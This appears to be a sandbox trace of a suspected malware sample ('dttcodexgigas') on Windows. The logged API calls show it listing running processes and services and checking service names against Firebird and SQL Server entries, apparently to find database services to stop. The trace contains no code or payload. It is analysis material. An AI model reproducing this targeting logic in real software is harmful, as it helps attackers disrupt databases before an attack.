	[0188.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0188.492] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0188.492] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0188.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0188.492] lstrlenW (lpString="Schedule") returned 8
	[0188.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0188.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0188.493] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0188.493] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0188.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0188.493] lstrlenW (lpString="SecurityHealthService") returned 21
	[0188.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0188.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0188.493] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0188.493] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0188.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0188.493] lstrlenW (lpString="SENS") returned 4
	[0188.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0188.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0188.493] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0188.493] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0188.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0188.493] lstrlenW (lpString="ShellHWDetection") returned 16
	[0188.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0188.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0188.493] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0188.493] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0188.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0188.493] lstrlenW (lpString="Spooler") returned 7
	[0188.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0188.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0188.493] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0188.493] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0188.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0188.493] lstrlenW (lpString="StateRepository") returned 15
	[0188.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0188.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0188.493] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0188.493] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0188.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0188.493] lstrlenW (lpString="SysMain") returned 7
	[0188.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0188.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0188.494] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0188.494] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0188.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0188.494] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0188.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0188.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0188.494] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0188.494] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0188.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0188.494] lstrlenW (lpString="Themes") returned 6
	[0188.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0188.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0188.494] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0188.494] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0188.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0188.494] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0188.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0188.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0188.494] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0188.494] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0188.494] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x304
	[0188.501] Process32FirstW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0188.501] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0188.502] lstrlenW (lpString="System") returned 6
	[0188.502] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0188.502] lstrlenW (lpString="smss.exe") returned 8
	[0188.502] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0188.503] lstrlenW (lpString="csrss.exe") returned 9
	[0188.503] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0188.503] lstrlenW (lpString="wininit.exe") returned 11
	[0188.503] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0188.504] lstrlenW (lpString="csrss.exe") returned 9
	[0188.504] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0188.504] lstrlenW (lpString="winlogon.exe") returned 12
	[0188.505] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0188.505] lstrlenW (lpString="services.exe") returned 12
	[0188.505] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0188.506] lstrlenW (lpString="lsass.exe") returned 9
	[0188.506] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0188.506] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0188.506] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0188.507] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0188.507] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0188.507] lstrlenW (lpString="svchost.exe") returned 11
	[0188.507] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0188.508] lstrlenW (lpString="svchost.exe") returned 11
	[0188.508] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0188.508] lstrlenW (lpString="dwm.exe") returned 7
	[0188.508] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0188.509] lstrlenW (lpString="svchost.exe") returned 11
	[0188.509] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0188.509] lstrlenW (lpString="svchost.exe") returned 11
	[0188.509] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0188.510] lstrlenW (lpString="svchost.exe") returned 11
	[0188.510] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0188.510] lstrlenW (lpString="svchost.exe") returned 11
	[0188.510] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0188.510] lstrlenW (lpString="svchost.exe") returned 11
	[0188.510] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0188.511] lstrlenW (lpString="svchost.exe") returned 11
	[0188.511] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0188.512] lstrlenW (lpString="svchost.exe") returned 11
	[0188.512] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0188.512] lstrlenW (lpString="svchost.exe") returned 11
	[0188.512] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0188.512] lstrlenW (lpString="svchost.exe") returned 11
	[0188.512] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0188.513] lstrlenW (lpString="svchost.exe") returned 11
	[0188.513] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0188.513] lstrlenW (lpString="spoolsv.exe") returned 11
	[0188.513] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0188.514] lstrlenW (lpString="svchost.exe") returned 11
	[0188.514] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0188.514] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0188.514] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0188.515] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0188.515] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0188.515] lstrlenW (lpString="audiodg.exe") returned 11
	[0188.515] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0188.515] lstrlenW (lpString="Memory Compression") returned 18
	[0188.515] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0188.516] lstrlenW (lpString="taskhostw.exe") returned 13
	[0188.516] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0188.516] lstrlenW (lpString="sihost.exe") returned 10
	[0188.516] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0188.517] lstrlenW (lpString="svchost.exe") returned 11
	[0188.517] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0188.517] lstrlenW (lpString="taskhostw.exe") returned 13
	[0188.517] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x9d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0188.517] lstrlenW (lpString="explorer.exe") returned 12
	[0188.518] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0188.518] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0188.518] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0188.518] lstrlenW (lpString="SearchUI.exe") returned 12
	[0188.518] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0188.519] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0188.519] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0188.519] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0188.519] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x9e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0188.520] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0188.520] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0188.520] lstrlenW (lpString="dllhost.exe") returned 11
	[0188.520] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0xd50, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0188.520] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0188.521] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xf04, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0188.521] lstrlenW (lpString="cmd.exe") returned 7
	[0188.521] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xf14, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0188.521] lstrlenW (lpString="conhost.exe") returned 11
	[0188.521] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xf14, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0188.522] CloseHandle (hObject=0x304) returned 1
	[0188.522] Sleep (dwMilliseconds=0x1f4) 
	[0189.393] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x78dda0
	[0189.394] EnumServicesStatusExW (in: hSCManager=0x78dda0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 0
	[0189.394] GetLastError () returned 0xea
	[0189.394] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x1c30) returned 0x3fc5080
	[0189.394] EnumServicesStatusExW (in: hSCManager=0x78dda0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3fc5080, cbBufSize=0x1c30, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3fc5080, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 1
	[0189.395] CloseServiceHandle (hSCObject=0x78dda0) returned 1
	[0189.395] lstrlenW (lpString="Appinfo") returned 7
	[0189.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0189.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0189.395] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0189.395] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0189.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0189.395] lstrlenW (lpString="AppXSvc") returned 7
	[0189.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0189.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0189.395] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0189.395] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0189.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0189.395] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0189.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0189.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0189.395] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0189.395] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0189.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0189.396] lstrlenW (lpString="Audiosrv") returned 8
	[0189.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0189.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0189.396] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0189.396] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0189.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0189.396] lstrlenW (lpString="BFE") returned 3
	[0189.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0189.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0189.396] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0189.396] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0189.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0189.396] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0189.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0189.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0189.396] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0189.396] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0189.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0189.396] lstrlenW (lpString="CDPSvc") returned 6
	[0189.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0189.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
